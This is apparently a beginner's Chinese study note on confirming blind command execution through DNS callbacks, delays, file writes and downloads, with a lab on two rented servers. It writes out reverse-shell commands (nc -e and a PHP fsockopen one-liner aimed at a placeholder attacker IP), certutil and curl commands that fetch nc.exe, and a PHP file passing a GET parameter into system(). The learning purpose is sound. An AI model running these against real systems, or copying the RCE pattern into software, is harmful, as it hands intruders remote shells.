无回显

附:完整笔记目录~
ps:本人小白,笔记均在个人理解基础上整理,若有错误欢迎指正!

3.1 无回显

  1. 概念

    无回显常常在Web漏洞挖掘中被提到。是指当攻击者控制目标系统执行命令时,目标并不会直接返回结果,造成攻击者无法知晓自己的攻击行为是否成功。

    那么当聪明的攻击者遇到这种情况该如何解决呢?

  2. DNSLog/ICMP-SizeLog/TCP-PortLog反连检测

    1. 原理:DNSLog反连为最简单也最常用的方法,控制目标服务器对指定域名进行反连,并依据反连结果来判断命令是否能成功执行。而后两种方式则是对DNSLog的补充,解决思路基本一致均为反连检测。

    2. 实现:Yakit集成了这三种反连检测方式,GUI,直接用即可。

      image-20241129135003721

  3. 反弹Shell

    1. 原理:攻击者控制目标服务器主动将shell给到自己。

    2. 实现:判断目标服务器操作系统,使用nc进行反弹shell。Linux自带nc,而Windows则需考虑如何将nc上传至目标服务器。(nc:Netcat,网络工具,用于读写网络中连接的数据)

      # 靶机Linux&Windows
      nc -e /bin/bash 攻击者ip 端口号
      nc -e cmd 攻击者ip 端口号
      # 将bash/cmd shell给到攻击机
      
      # 攻击机
      nc -lvp 端口号
      # -l,表示开启监听模式
      # -v,表示输出详细信息
      # -p,表示监听端口
      

      当然,还有很多工具/服务能实现反弹Shell,如python、powershell、php等。至于不同工具/服务的反弹命令,详见:https://forum.ywhack.com/reverse-shell/。
      由于nc使用最为简单,所以在基础入门阶段,本文仅使用nc进行展示。

  4. 延时检测

    1. 原理:延时检测指攻击者通过观察目标服务器执行不同命令时的响应时间,来判断命令是否被成功执行。

    2. 实现:控制目标主机先执行ping www.example.com记录响应时间,再执行ping -n/-c 10 www.example.com并记录响应时间。最终判断后一命令响应时间是否约为前一命令的10倍,若是则证明命令被执行成功。

      # Windows发送n次ping请求
      ping -n 次数 www.example.com
      # Linux发送n次ping请求
      ping -c 次数 Www.example.com
      
  5. 文件写入&访问

    1. 原理:利用命令执行在当前目录或Web目录下,写入&创建一个新文件。再尝试访问自己所创文件,若能成功访问则证明命令执行成功。

    2. 实现:

      # Windows&Liunx
      echo 19 > test.txt
      
  6. 文件下载

    1. 原理:控制目标服务器主动访问并下载攻击者指定远程服务器文件,观察远程服务器是否被访问进而判断命令是否被执行。
      可以看到与反连检测类似,但还有一个作用。前面提到Windows并不会自带nc,那么通过这种方式是不是可以控制Windows远程下载nc呢?

    2. 实现:

      # Windows
      certutil.exe -urlcache -split -f http://远程服务器ip:端口号/nc.exe nc.exe
      # Linux
      curl http://远程服务器ip:端口号/nc.exe -o nc.exe
      

      命令自动生成&更多命令,详见:https://forum.ywhack.com/bountytips.php?download

  7. 实验:

    使用php写一个带有RCE的Web(包含有回显&无回显),观察命令执行后有回显&无回显的区别。

    若无回显,则尝试使用上述五种方式判断命令是否被成功执行。

    1. 实验开始,阿里云租两台Linux服务器,一台为靶机,一台为攻击机。(我选择的发行版为Ubuntu 20.04)

    2. 靶机部署安装Apache+Php,并在网站根目录下上传实现RCE的php文件

      # 安装Apache+PHp
      # 更新软件包索引
      sudo apt update
      
      sudo apt install apache2
      sudo systemctl start apache2
      
      sudo apt install php libapache2-mod-php
      

      安装完成后,编写并上传实现RCE的php文件。

      <?php
          # php实现RCE
          # 命令执行后有回显
          system($_GET['c']);
      	# 无回显
          shell_exec($_GET['c']);
      ?>
      
    3. 访问该Php文件,并观察命令执行后有/无回显的区别

      image-20241203105334085

    4. 若命令执行后无回显,通过上述五种方式来验证命令是否成功执行。

      image-20241130143315588

      image-20241130152843173

      # 附payload,本实验使用版本php 7.4.3
      php -r '$sock=fsockopen("目标ip",端口号);$proc=proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
      

      image-20241130154425892

      image-20241130161620177

      可以看到文件被成功写入,但感觉比较鸡肋。
      Linux权限控制严格,即使能RCE,但用户权限不一定为root。而仅有root才能在网站目录下实现写入操作,本实验则是放通了other用户对网站目录的写权限才成功。因此该方法建议搭配文件下载来实现。

      image-20241130164756123

    5. 至此,实验结束!

posted @ 2024-12-04 23:20  1999er  阅读(20)  评论(0编辑  收藏  举报